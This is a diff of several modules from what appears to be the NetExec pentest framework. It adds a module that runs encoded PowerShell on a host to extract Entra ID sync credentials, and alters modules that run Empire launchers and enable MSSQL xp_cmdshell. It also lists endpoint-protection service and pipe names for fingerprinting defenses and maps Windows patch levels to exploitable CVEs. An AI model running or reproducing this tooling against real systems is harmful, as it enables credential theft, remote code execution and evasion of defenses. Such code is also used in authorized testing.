try:
|
||||
# this can happen when we have special permissions to create encrypted files
|
||||
conn.deleteFile(share_name, self.file_name)
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
|
||||
pass
|
||||
context.log.fail(f"Error DELETING created temp file {self.file_name} on share {share_name}: {error}")
|
||||
except SessionError as e:
|
||||
context.log.debug(f"Error writing encrypted file on share {share_name}: {get_error_string(e)} (This does not necessarily mean that the attack failed!)")
|
||||
|
||||
try:
|
||||
tid = conn.connectTree("IPC$")
|
||||
conn.waitNamedPipe(tid, "efsrpc", 10)
|
||||
context.log.highlight("Successfully activated efsrpc named pipe!")
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
|
||||
context.log.debug("efsrpc pipe was not activated.")
|
||||
else:
|
||||
context.log.fail(f"Error waiting for named pipe: {error}", color="magenta")
|
||||
return
|
||||
@@ -1,7 +1,6 @@
|
||||
import sys
|
||||
import requests
|
||||
from requests import ConnectionError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -13,7 +12,6 @@ class NXCModule:
|
||||
name = "empire_exec"
|
||||
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
|
||||
supported_protocols = ["smb", "mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -1,6 +1,3 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enables or disables xp_cmdshell in MSSQL Server.
|
||||
@@ -10,7 +7,6 @@ class NXCModule:
|
||||
name = "enable_cmdshell"
|
||||
description = "Enable or disable xp_cmdshell in MSSQL Server"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
@@ -46,7 +42,8 @@ class NXCModule:
|
||||
|
||||
def backup_show_advanced_options(self):
|
||||
"""Backs up the current state of 'show advanced options'."""
|
||||
res = self.mssql_conn.sql_query("SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'")
|
||||
query = "SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'"
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
if res:
|
||||
self.advanced_options_backup = int(res[0]["value"]) # Convert to integer
|
||||
|
||||
@@ -58,7 +55,6 @@ class NXCModule:
|
||||
def toggle_xp_cmdshell(self, enable: bool):
|
||||
"""Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
|
||||
state = "1" if enable else "0"
|
||||
action_text = "enabled" if enable else "disabled"
|
||||
|
||||
# Backup 'show advanced options' state
|
||||
self.backup_show_advanced_options()
|
||||
@@ -69,10 +65,8 @@ class NXCModule:
|
||||
try:
|
||||
# Enable or disable xp_cmdshell
|
||||
self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
|
||||
if self.mssql_conn.lastError:
|
||||
self.context.log.fail(f"Failed to {action_text[:-1]} xp_cmdshell: {self.mssql_conn.lastError}")
|
||||
else:
|
||||
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
|
||||
action_text = "enabled" if enable else "disabled"
|
||||
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to execute command: {e}")
|
||||
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
import re
|
||||
|
||||
from termcolor import colored
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.config import host_info_colors
|
||||
|
||||
@@ -13,7 +12,6 @@ class NXCModule:
|
||||
name = "entra-id"
|
||||
description = "Find the Entra ID sync server"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
|
||||
from base64 import b64encode
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Example:
|
||||
-------
|
||||
Module by @NeffIsBack
|
||||
"""
|
||||
|
||||
name = "entra-sync-creds"
|
||||
description = "Extract Entra ID sync credentials from the target host"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
self.entra_id_psscript = ""
|
||||
|
||||
with open(get_ps_script("entra-sync-creds/entra-sync-creds.ps1")) as psFile:
|
||||
for line in psFile:
|
||||
if line.startswith("#") or line.strip() == "":
|
||||
continue
|
||||
else:
|
||||
self.entra_id_psscript += line.strip() + "\n"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No module options available."""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
|
||||
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
|
||||
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
|
||||
|
||||
if "CLIXML" in out:
|
||||
out = out.split("CLIXML")[1].split("<Objs Version")[0]
|
||||
|
||||
for line in out.splitlines():
|
||||
if not line.strip():
|
||||
continue
|
||||
if "[!]" in line:
|
||||
self.context.log.fail(line.replace("[!]", "").strip())
|
||||
else:
|
||||
self.context.log.highlight(line.strip())
|
||||
+110
-148
@@ -3,11 +3,10 @@
|
||||
# Module by @mpgn_x64
|
||||
# https://twitter.com/mpgn_x64
|
||||
|
||||
from impacket.dcerpc.v5 import lsat, lsad
|
||||
from impacket.dcerpc.v5 import lsat, lsad, transport
|
||||
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
import pathlib
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -19,7 +18,6 @@ class NXCModule:
|
||||
name = "enum_av"
|
||||
description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -45,8 +43,20 @@ class NXCModule:
|
||||
results = {}
|
||||
|
||||
try:
|
||||
lsa = LsaLookupNames(connection=connection)
|
||||
dce = lsa.connect()
|
||||
lsa = LsaLookupNames(
|
||||
domain=connection.domain,
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
remote_name=target,
|
||||
do_kerberos=connection.kerberos,
|
||||
remoteHost=connection.host,
|
||||
kdcHost=connection.kdcHost,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey
|
||||
)
|
||||
|
||||
dce, _ = lsa.connect()
|
||||
policyHandle = lsa.open_policy(dce)
|
||||
for product in conf["products"]:
|
||||
for service in product["services"]:
|
||||
@@ -91,11 +101,82 @@ class NXCModule:
|
||||
|
||||
|
||||
class LsaLookupNames:
|
||||
def __init__(self, connection=None):
|
||||
self.connection = connection
|
||||
timeout = None
|
||||
authn_level = None
|
||||
protocol = None
|
||||
transfer_syntax = None
|
||||
machine_account = False
|
||||
|
||||
def connect(self):
|
||||
return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
|
||||
iface_uuid = lsat.MSRPC_UUID_LSAT
|
||||
authn = True
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
domain="",
|
||||
username="",
|
||||
password="",
|
||||
remote_name="",
|
||||
do_kerberos=False,
|
||||
remoteHost="",
|
||||
kdcHost="",
|
||||
lmhash="",
|
||||
nthash="",
|
||||
aesKey="",
|
||||
):
|
||||
self.domain = domain
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.remoteName = remote_name
|
||||
self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
|
||||
self.doKerberos = do_kerberos
|
||||
self.lmhash = lmhash
|
||||
self.nthash = nthash
|
||||
self.aesKey = aesKey
|
||||
self.kdcHost = kdcHost
|
||||
self.remoteHost = remoteHost
|
||||
|
||||
def connect(self, string_binding=None, iface_uuid=None):
|
||||
"""Obtains a RPC Transport and a DCE interface according to the bindings and
|
||||
transfer syntax specified.
|
||||
:return: tuple of DCE/RPC and RPC Transport objects
|
||||
:rtype: (DCERPC_v5, DCERPCTransport)
|
||||
"""
|
||||
string_binding = string_binding or self.string_binding
|
||||
if not string_binding:
|
||||
raise NotImplementedError("String binding must be defined")
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.setRemoteHost(self.remoteHost)
|
||||
|
||||
# Set timeout if defined
|
||||
if self.timeout:
|
||||
rpc_transport.set_connect_timeout(self.timeout)
|
||||
|
||||
# Authenticate if specified
|
||||
if self.authn and hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
|
||||
|
||||
if self.doKerberos:
|
||||
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
|
||||
|
||||
# Gets the DCE RPC object
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
|
||||
if self.doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
# Connect
|
||||
dce.connect()
|
||||
|
||||
# Bind if specified
|
||||
iface_uuid = iface_uuid or self.iface_uuid
|
||||
if iface_uuid and self.transfer_syntax:
|
||||
dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax)
|
||||
elif iface_uuid:
|
||||
dce.bind(iface_uuid)
|
||||
|
||||
return dce, rpc_transport
|
||||
|
||||
def open_policy(self, dce):
|
||||
request = lsad.LsarOpenPolicy2()
|
||||
@@ -127,19 +208,6 @@ conf = {
|
||||
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Avast / AVG",
|
||||
"services": [
|
||||
{"name": "AvastWscReporter", "description": "Avast WSC Reporter Service"},
|
||||
{"name": "aswbIDSAgent", "description": "Avast IDS Agent Service"},
|
||||
{"name": "AVGWscReporter", "description": "AVG WSC Reporter Service"},
|
||||
{"name": "avgbIDSAgent", "description": "AVG IDS Agent Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "aswCallbackPipe*", "processes": ["AvastSvc.exe", "aswEngSrv.exe"]},
|
||||
{"name": "avgCallbackPipe*", "processes": ["AVGSvc.exe", "aswEngSrv.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Bitdefender",
|
||||
"services": [
|
||||
@@ -170,28 +238,18 @@ conf = {
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Check Point Endpoint Security",
|
||||
"services": [
|
||||
{"name": "CPDA", "description": "Check Point Endpoint Agent"},
|
||||
{"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"},
|
||||
{"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"},
|
||||
{"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"}
|
||||
],
|
||||
"pipes": []
|
||||
"name": "CrowdStrike",
|
||||
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
|
||||
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
|
||||
},
|
||||
{
|
||||
"name": "Cortex",
|
||||
"services": [
|
||||
{"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
|
||||
{"name": "cyserver", "description": "Cortex XDR"}
|
||||
{"name": "cyserver", "description": " Cortex XDR"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "CrowdStrike",
|
||||
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
|
||||
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
|
||||
},
|
||||
{
|
||||
"name": "Cybereason",
|
||||
"services": [
|
||||
@@ -204,24 +262,6 @@ conf = {
|
||||
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Cynet",
|
||||
"services": [
|
||||
{"name": "CynetLauncher", "description": "CynetLauncher"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Elastic EDR",
|
||||
"services": [
|
||||
{"name": "Elastic Agent", "description": "Elastic Agent Service"},
|
||||
{"name": "ElasticEndpoint", "description": "Elastic Endpoint Security Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "ElasticEndpointServiceComms-*", "processes": ["elastic-endpoint.exe"]},
|
||||
{"name": "elastic-agent-system", "processes": ["elastic-agent.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "ESET",
|
||||
"services": [
|
||||
@@ -236,24 +276,6 @@ conf = {
|
||||
],
|
||||
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
|
||||
},
|
||||
{
|
||||
"name": "FortiClient",
|
||||
"services": [
|
||||
{"name": "FA_Scheduler", "description": "FortiClient Service Scheduler"},
|
||||
{"name": "FCT_SecSvr", "description": "Forticlient Endpoint Protected Process Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "FortiClient_DBLogDaemon", "processes": ["FCDBLog.exe"]},
|
||||
{"name": "FC_*", "processes": ["FortiTray.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "FortiEDR",
|
||||
"services": [
|
||||
{"name": "FortiEDR Collector Service", "description": "Host component of the Fortinet Endpoint Detection and Response Platform"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "G DATA Security Client",
|
||||
"services": [
|
||||
@@ -266,39 +288,13 @@ conf = {
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "HarfangLab EDR",
|
||||
"services": [
|
||||
{"name": "hurukai", "description": "HarfangLab Hurukai Agent"},
|
||||
{"name": "Hurukai agent", "description": "HarfangLab Hurukai Agent Service"},
|
||||
{"name": "HarfangLab Hurukai agent", "description": "HarfangLab Hurukai Agent Program"},
|
||||
{"name": "hurukai-av", "description": "HarfangLab Hurukai Antivirus"},
|
||||
{"name": "hurukai-ui", "description": "HarfangLab Hurukai UI"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "hurukai-control", "processes": ["hurukai.exe"]},
|
||||
{"name": "hurukai-servicing", "processes": ["hurukai.exe"]},
|
||||
{"name": "hurukai-amsi", "processes": ["hurukai.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Ivanti Security",
|
||||
"name": "Ivanti Security",
|
||||
"services": [
|
||||
{"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"},
|
||||
{"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Kaseya Agent Endpoint",
|
||||
"services": [
|
||||
{"name": "KAENDKSAASC*", "description": "Virtual System Administrator Endpoint"},
|
||||
{"name": "KAKSAASC*", "description": "Machine.Group ID:*"},
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "kaseyaUserKSA*", "processes": ["KaUsrTsk.exe"]},
|
||||
{"name": "kaseyaAgentKSA*", "processes": ["AgentMon.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Kaspersky Security for Windows Server",
|
||||
"services": [
|
||||
@@ -311,18 +307,6 @@ conf = {
|
||||
{"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Malwarebytes",
|
||||
"services": [
|
||||
{"name": "MBAMService", "description": "Malwarebytes Service"},
|
||||
{"name": "MBEndpointAgent", "description": "Malwarebytes Cloud Endpoint Agent Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "MBLG", "processes": ["MBAMService.exe"]},
|
||||
{"name": "MBEA2_R", "processes": ["MBCloudEA.exe"]},
|
||||
{"name": "MBEA2_W", "processes": ["MBCloudEA.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Panda Adaptive Defense 360",
|
||||
"services": [
|
||||
@@ -335,11 +319,6 @@ conf = {
|
||||
{"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Rapid7",
|
||||
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "SentinelOne",
|
||||
"services": [
|
||||
@@ -353,6 +332,20 @@ conf = {
|
||||
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Symantec Endpoint Protection",
|
||||
"services": [
|
||||
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
|
||||
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
|
||||
{"name": "SNAC", "description": "Symantec Network Access Control"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Rapid7",
|
||||
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Sophos Intercept X",
|
||||
"services": [
|
||||
@@ -373,15 +366,6 @@ conf = {
|
||||
{"name": "sophoslivequery_*", "processes": [""]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Symantec Endpoint Protection",
|
||||
"services": [
|
||||
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
|
||||
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
|
||||
{"name": "SNAC", "description": "Symantec Network Access Control"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Trellix Endpoint Detection and Response (EDR)",
|
||||
"services": [
|
||||
@@ -424,13 +408,6 @@ conf = {
|
||||
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Wazuh",
|
||||
"services": [
|
||||
{"name": "WazuhSvc", "description": "Wazuh Windows Agent"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Windows Defender",
|
||||
"services": [
|
||||
@@ -439,21 +416,6 @@ conf = {
|
||||
{"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "WithSecure Elements",
|
||||
"services": [
|
||||
{"name": "fsdevcon", "description": "WithSecure Device Control"},
|
||||
{"name": "fshoster", "description": "WithSecure Hoster"},
|
||||
{"name": "fsnethoster", "description": "WithSecure Hoster (Restricted)"},
|
||||
{"name": "fsulhoster", "description": "WithSecure Ultralight Hoster"},
|
||||
{"name": "fsulnethoster", "description": "WithSecure Ultralight Network Hoster"},
|
||||
{"name": "fsulprothoster", "description": "WithSecure Ultralight Protected Hoster"},
|
||||
{"name": "wsulavprohoster", "description": "WithSecure Ultralight Protected AV Hoster"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "FS_CCFIPC_*", "processes": ["fsatpn.exe", "fsatpl.exe", "fshoster32.exe", "fsulprothoster.exe", "fsulprothoster.exe", "fshoster64.exe", "FsPisces.exe", "fsdevcon.exe"]}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
+4
-22
@@ -6,9 +6,6 @@ from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket import uuid
|
||||
import requests
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
import contextlib
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -26,15 +23,14 @@ class NXCModule:
|
||||
|
||||
name = "enum_ca"
|
||||
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.__username = connection.username
|
||||
@@ -70,18 +66,8 @@ class NXCModule:
|
||||
else:
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
dce = None
|
||||
try:
|
||||
if int(self.__port) == 135:
|
||||
rpc = NXCRPCConnection(connection, force_tcp=True)
|
||||
rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
|
||||
dce = rpc.rpc_transport.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
entries = list(epm.hept_lookup(None, dce=dce))
|
||||
else:
|
||||
entries = self.__fetchList(connection.kerberos, rpctransport)
|
||||
entries = self.__fetchList(connection.kerberos, rpctransport)
|
||||
except Exception as e:
|
||||
error_text = f"Protocol failed: {e}"
|
||||
context.log.fail(error_text)
|
||||
@@ -92,11 +78,7 @@ class NXCModule:
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
|
||||
context.log.fail("This usually means the target does not allow "
|
||||
"to connect to its epmapper using RpcProxy.")
|
||||
return
|
||||
finally:
|
||||
with contextlib.suppress(Exception):
|
||||
dce.disconnect()
|
||||
|
||||
return
|
||||
for entry in entries:
|
||||
tmpUUID = str(entry["tower"]["Floors"][0])
|
||||
|
||||
|
||||
@@ -1,224 +0,0 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.smbconnection import SessionError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from impacket.nmb import NetBIOSError
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Initial module by: Mauriceter
|
||||
Additional authors: azoxlpf, Defte, YOLOP0wn, pol4ir, NeffIsBack
|
||||
"""
|
||||
name = "enum_cve"
|
||||
description = "Enumerate common (useful) CVEs by querying the registry for the OS version and UBR."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
context = context
|
||||
self.module_options = module_options
|
||||
self.cve = "all"
|
||||
self.exploitation_details = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Be aware that these checks solely rely on the OS version and UBR reported in the registry,
|
||||
and do not check for the actual presence of the vulnerable components or mitigations.
|
||||
Test the attack yourself to verify the host is actually vulnerable.
|
||||
|
||||
Currently supported CVEs:
|
||||
- CVE-2025-33073 (NTLM Reflection)
|
||||
- CVE-2025-58726 (Ghost SPN)
|
||||
- CVE-2025-54918 (NTLM MIC Bypass)
|
||||
- CVE-2025-53779 (BadSuccessor)
|
||||
- CVE-2024-49019 (EKUwu / ESC15)
|
||||
- CVE-2026-54121 (Certighost)
|
||||
- CVE-2026-27912 (ResetNightmare)
|
||||
|
||||
CVE Filter for specific CVE number (default: All)
|
||||
EXPLOITATION Also provide sources for exploitation details (default: False)
|
||||
"""
|
||||
self.listener = None
|
||||
if "CVE" in module_options:
|
||||
self.cve = module_options["CVE"].lower()
|
||||
if "EXPLOITATION" in module_options:
|
||||
self.exploitation_details = module_options["EXPLOITATION"].lower() in ["true", "1", "yes"]
|
||||
|
||||
def is_vulnerable(self, major, minor, build, ubr, msrc):
|
||||
key = (major, minor, build)
|
||||
min_patched_ubr = msrc.get(key)
|
||||
if min_patched_ubr is None:
|
||||
return None # Unknown product
|
||||
if ubr is None:
|
||||
return None
|
||||
return ubr < min_patched_ubr
|
||||
|
||||
def on_login(self, context, connection):
|
||||
connection.trigger_winreg()
|
||||
|
||||
try:
|
||||
# Connect to RemoteRegistry to read UBR from registry
|
||||
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
|
||||
# Reading UBR from registry
|
||||
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
|
||||
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
|
||||
ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1]
|
||||
dce.disconnect()
|
||||
if not ubr:
|
||||
context.log.info("Could not determine OS version from registry")
|
||||
return
|
||||
else:
|
||||
context.log.debug(f"OS version from registry: {connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}")
|
||||
except DCERPCException as e:
|
||||
context.log.fail(f"DCERPC error: {e}")
|
||||
return
|
||||
except SessionError as e:
|
||||
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
context.log.info(f"RemoteRegistry is probably deactivated: {e}")
|
||||
else:
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
return
|
||||
except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e:
|
||||
context.log.fail(f"DCERPC transport error: {e.__class__.__name__}: {e}")
|
||||
return
|
||||
|
||||
# Check each CVE
|
||||
for cve in self.CVE_PATCHES:
|
||||
if self.cve == "all" or self.cve.lower() == cve.lower():
|
||||
if self.CVE_PATCHES[cve].get("dc_only") and not connection.is_host_dc():
|
||||
context.log.info(f"Skipping {self.CVE_PATCHES[cve]['alias']} - only applicable to Domain Controllers")
|
||||
continue
|
||||
if self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]):
|
||||
if connection.conn.isSigningRequired() and "signing_message" in self.CVE_PATCHES[cve]: # Special conditional message for some CVEs
|
||||
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['signing_message']}")
|
||||
else:
|
||||
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['message']}")
|
||||
if self.exploitation_details:
|
||||
context.log.highlight(f"Exploitation details: {self.CVE_PATCHES[cve]['exploitation']}")
|
||||
else:
|
||||
context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'].get((connection.server_os_major, connection.server_os_minor, connection.server_os_build), 'unknown')})")
|
||||
|
||||
# patches: key = (major, minor, build), value = minimum patched UBR
|
||||
CVE_PATCHES = {
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073
|
||||
"CVE-2025-33073": {
|
||||
"alias": "NTLM reflection",
|
||||
"patches": {
|
||||
(10, 0, 10240): 21034, # Windows 10 1507
|
||||
(10, 0, 14393): 8148, # Windows Server 2016 / Win10 1607
|
||||
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
|
||||
(10, 0, 19044): 5965, # Windows 10 21H2
|
||||
(10, 0, 20348): 3807, # Windows Server 2022
|
||||
(10, 0, 22621): 5472, # Windows 11 22H2
|
||||
(10, 0, 25398): 1665, # Windows Server 2022 23H2
|
||||
(10, 0, 26100): 4270, # Windows Server 2025 / Win11 24H2
|
||||
},
|
||||
"message": "Relay possible from SMB to any protocol",
|
||||
"signing_message": "can relay SMB to other protocols except SMB",
|
||||
"exploitation": "https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58726
|
||||
"CVE-2025-58726": {
|
||||
"alias": "Ghost SPN",
|
||||
"patches": {
|
||||
(6, 0, 6003): 23571, # Windows Server 2008 SP2
|
||||
(6, 1, 7601): 27974, # Windows Server 2008 R2 SP1
|
||||
(6, 2, 9200): 25722, # Windows Server 2012
|
||||
(6, 3, 9600): 22824, # Windows Server 2012 R2
|
||||
(10, 0, 10240): 21161, # Windows 10 1507
|
||||
(10, 0, 14393): 8519, # Windows Server 2016 / Win10 1607
|
||||
(10, 0, 17763): 7919, # Windows Server 2019 / Win10 1809
|
||||
(10, 0, 19044): 6456, # Windows 10 21H2
|
||||
(10, 0, 20348): 4294, # Windows Server 2022
|
||||
(10, 0, 22621): 6060, # Windows 11 22H2
|
||||
(10, 0, 25398): 1913, # Windows Server 2022 23H2
|
||||
(10, 0, 26100): 6899, # Windows Server 2025 / Win11 24H2
|
||||
(10, 0, 26200): 6899, # Windows 11 25H2
|
||||
},
|
||||
"message": "Relay possible from SMB using Ghost SPN for Kerberos reflection",
|
||||
"signing_message": "Relay possible from SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB",
|
||||
"exploitation": "https://www.semperis.com/blog/exploiting-ghost-spns-and-kerberos-reflection-for-smb-server-privilege-elevation/",
|
||||
},
|
||||
|
||||
